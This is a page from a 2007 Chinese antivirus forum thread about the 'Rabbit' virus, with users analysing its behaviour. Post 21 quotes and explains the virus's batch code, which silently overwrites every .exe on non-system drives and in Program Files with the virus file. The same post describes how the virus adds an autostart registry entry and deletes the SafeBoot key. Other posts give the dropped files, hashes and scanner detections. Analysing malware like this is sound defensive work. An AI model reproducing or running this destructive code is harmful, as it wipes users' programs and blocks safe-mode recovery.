警惕恶性病毒“兔宝宝”【4月8日原版、4月10日出现新变种】

瑞星卡卡安全论坛技术交流区 反病毒/反流氓软件论坛警惕恶性病毒“兔宝宝”【4月8日原版、4月10日出现新变种】

	瑞星“1+2”全新解决方案巡展在广州画上圆满句号		叶院长揭秘：瑞星如何运用AI技术革新网络安全		俄乌冲突加剧网络攻击风险白俄罗斯政府遭APT攻击		瑞星ESM防病毒系统助力矿业大学筑牢网络安全防线
	实力拉满瑞星第五十次通过VB100测评		携手老友，拥抱新精彩 —— 新论坛新活动，感谢你的陪伴		护航司法，瑞星助力山西省高院构建安全防线		人工智能在网络安全领域的风险和机遇

1 234 5 6 7 8 »

3 / 10 页

跳转页

警惕恶性病毒“兔宝宝”【4月8日原版、4月10日出现新变种】

社区嘉宾

帖子:15158
注册: 2005-08-03
来自:

发表于： 2007-04-09 09:37 | 短消息资料

字号：小中大 21楼

引用:

【孤独更可靠的贴子】FOR %%a in ( d: e: f: h: g: ) do dir /s/b %%a\*.exe>>c:\windows\msconfig.inf

....搜索除C盘(系统盘?如果用户把系统盘放在C盘以外的下,遭殃....)D-G所有可执行文件,把搜索到的文件保存在:\windows\msconfig.inf
...

cd C:\Program Files
dir *.exe /s /b >>c:\windows\msconfig1.inf
..看来他是怕覆盖到系统(EXE)文件..连Program Files目录下的也不放过?

FOR /f "delims=" %%i in (c:\windows\msconfig.inf) do copy /y "C:\WINDOWS\system32\Rabbit.exe" "%%i"

读取c:\windows\msconfig.inf的EXE文件,用C:\WINDOWS\system32\Rabbit.exe覆盖过去,MD,配合参数Y用...静止模式..(覆盖过程中不提示,除非有EXE文件设置只读,不然全部遭殃.)

FOR /f "delims=" %%i in (c:\windows\msconfig1.inf) do copy /y "C:\WINDOWS\system32\Rabbit.exe" "%%i"

覆盖C盘的Program Files里的EXE文件..还是静止模式

还有,猫叔,如果我没猜错的话,,Rabbit.exe应该是兔子图形吧?

（1）在注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\分支添加启动项：
{4bf41072-b2b1-21c1-b5c1-0305f4155515}
指向C:\WINDOWS\system32\JK.exe

这个是重启时安装?JK是什么,病毒吗?

（2）删除HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot
这个是删除进入安全模式的吧...

麻烦,猫叔,发份到Lyhan_1988@163.com

谢谢哈!
………………

病毒会释放如下文件
C:\WINDOWS\system32\JK.exe
C:\WINDOWS\system32\love.bat
C:\WINDOWS\system32\loveRabbit.bat
C:\WINDOWS\system32\loveRabbit.exe
C:\WINDOWS\system32\msexch400.dll
C:\WINDOWS\system32\Rabbit.exe
C:\WINDOWS\msconfig.inf
C:\WINDOWS\msconfig1.inf

鸟儿天上飞叱咤花甲狮帖子:2332 注册: 2006-11-30 来自:	发表于： 2007-04-09 09:38 \| 短消息资料字号：小中大 22楼问题..就是在虚拟机里测试病毒..比如熊猫一类的我家是居于网能不能通过虚拟机传播到别的电脑上玛姐姐也给下意见吧大叔从来不用虚拟机的估计问他没什么答案了
鸟儿天上飞叱咤花甲狮帖子:2332 注册: 2006-11-30 来自:

newcenturymoon 社区嘉宾帖子:15158 注册: 2005-08-03 来自:	发表于： 2007-04-09 09:38 \| 短消息资料字号：小中大 23楼我也写了哦嘻嘻昨天弄了俩小时呢... http://forum.ikaka.com/topic.asp?board=28&artid=8295622
newcenturymoon 社区嘉宾帖子:15158 注册: 2005-08-03 来自:

社区嘉宾

帖子:15158
注册: 2005-08-03
来自:

发表于： 2007-04-09 09:39 | 短消息资料

字号：小中大 24楼

引用:

【baohe的贴子】
我的“悄悄话”早就坏了（悄悄话统统进邮箱）。
在这里说吧。
………………

我测试的时候不能关机注销或者重启这是为什么？

大版主

帖子:72578
注册: 2003-04-10
来自:

发表于： 2007-04-09 09:43 | 只看楼主 短消息资料

字号：小中大 25楼

引用:

【鸟儿天上飞的贴子】问题..就是在虚拟机里测试病毒..比如熊猫一类的我家是居于网能不能通过虚拟机传播到别的电脑上玛姐姐也给下意见吧大叔从来不用虚拟机的估计问他没什么答案了
………………

俺不玩儿“虚拟机”。

叱咤花甲狮

帖子:2332
注册: 2006-11-30
来自:

发表于： 2007-04-09 09:45 | 短消息资料

字号：小中大 26楼

引用:

【baohe的贴子】
俺不玩儿“虚拟机”。
………………

我就知道....

大版主

帖子:72578
注册: 2003-04-10
来自:

发表于： 2007-04-09 09:45 | 只看楼主 短消息资料

字号：小中大 27楼

引用:

【newcenturymoon的贴子】
我测试的时候不能关机注销或者重启这是为什么？
………………

在“影子系统”中运行rabbit.exe，SSM和Tiny的提问——————一路绿灯放行，没遇到你说的这种现象。

叱咤花甲狮

帖子:3107
注册: 2006-01-19
来自:新疆叶城

发表于： 2007-04-09 09:48 | 短消息资料

字号：小中大 28楼

引用:

【baohe的贴子】
我的“悄悄话”早就坏了（悄悄话统统进邮箱）。
在这里说吧。
………………

难怪我发了那么多次求你帮助的悄悄话不见反应咧。我还以为啥时我无意中得罪了你或回帖发言中有所冒犯咧！

请给我一个能正常使用非免费版SSM的方法或KEY什么的！深深拜谢啦！

大版主

帖子:72578
注册: 2003-04-10
来自:

发表于： 2007-04-09 09:52 | 只看楼主 短消息资料

字号：小中大 29楼

引用:

【两个铁球的贴子】
难怪我发了那么多次求你帮助的悄悄话不见反应咧。我还以为啥时我无意中得罪了你或回帖发言中有所冒犯咧！

请给我一个能正常使用非免费版SSM的方法或KEY什么的！深深拜谢啦！
………………

俺没什么劳什子KEY啊。
还是用封注册表相应CLSID读写权限的老办法。

锋芒艾服狮

帖子:1788
注册: 2007-01-27
来自:

发表于： 2007-04-09 10:13 | 短消息资料

字号：小中大 30楼

引用:

【newcenturymoon的贴子】
我测试的时候不能关机注销或者重启这是为什么？
………………

我测试的时候也和你一样,汇编的也打不开,可能是病毒的问题

File size: 265276 bytes
MD5: a012baddced8431e3a57d5a5ab8e222d
SHA1: 81dd357b504100647fb6e9d72b83d3a15db26cdd
加壳方式:未
编写方式:未知
CAT-QuickHeal 9.00 04.06.2007 (Suspicious) - DNAScan
Fortinet 2.85.0.0 04.08.2007 suspicious
Sunbelt 2.2.907.0 04.07.2007 VIPRE.Suspicious
Webwasher-Gateway 6.0.1 04.08.2007 Win32.Malware.gen (suspicious)

.........................

哎..就写了个开头..

猫叔给的样本运行了没反映..>_<

我什么都关了,监控.SSM.文件监控和注册表监控也都关了

还是不行.

5555

<<上一主题|下一主题>>

1 234 5 6 7 8 »

3 / 10 页

跳转页

瑞星卡卡安全论坛技术交流区反病毒/反流氓软件论坛 警惕恶性病毒“兔宝宝”【4月8日原版、4月10日出现新变种】

警惕恶性病毒“兔宝宝”【4月8日原版、4月10日出现新变种】

瑞星卡卡安全论坛技术交流区反病毒/反流氓软件论坛警惕恶性病毒“兔宝宝”【4月8日原版、4月10日出现新变种】